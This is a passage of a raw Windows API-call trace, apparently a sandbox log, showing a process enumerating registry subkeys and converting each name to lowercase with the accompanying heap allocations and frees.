lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x1db930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x1dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x1db930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.023] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0164.023] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x1db930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0164.023] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.023] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x1dc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0164.023] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x1db930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0164.023] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0164.023] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x1dc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0164.023] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x1db930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0164.023] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0164.023] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x1dc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0164.023] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.023] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x1db930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x1db930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x1dc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x1db930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x1db930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x1dc0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0164.024] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.024] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x1db930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x1dc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x1db930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x1dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x1db930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x1dc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x1db930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x1dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0164.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.025] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x1db930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x1dc120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.026] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x1db930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x1dc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.026] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x1db930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x1dc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.026] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x1db930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x1dc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.026] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x1db930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0164.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0164.027] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x1dc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x1db930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x1db930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x1db930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x1db930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x1db930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x1db930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x1db930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x1db930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x1db930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x1db930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x1db930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x1db930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x1db930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x1db930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0164.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x1db930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x1db930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x1db930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x1db930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x1db930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x1db930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, 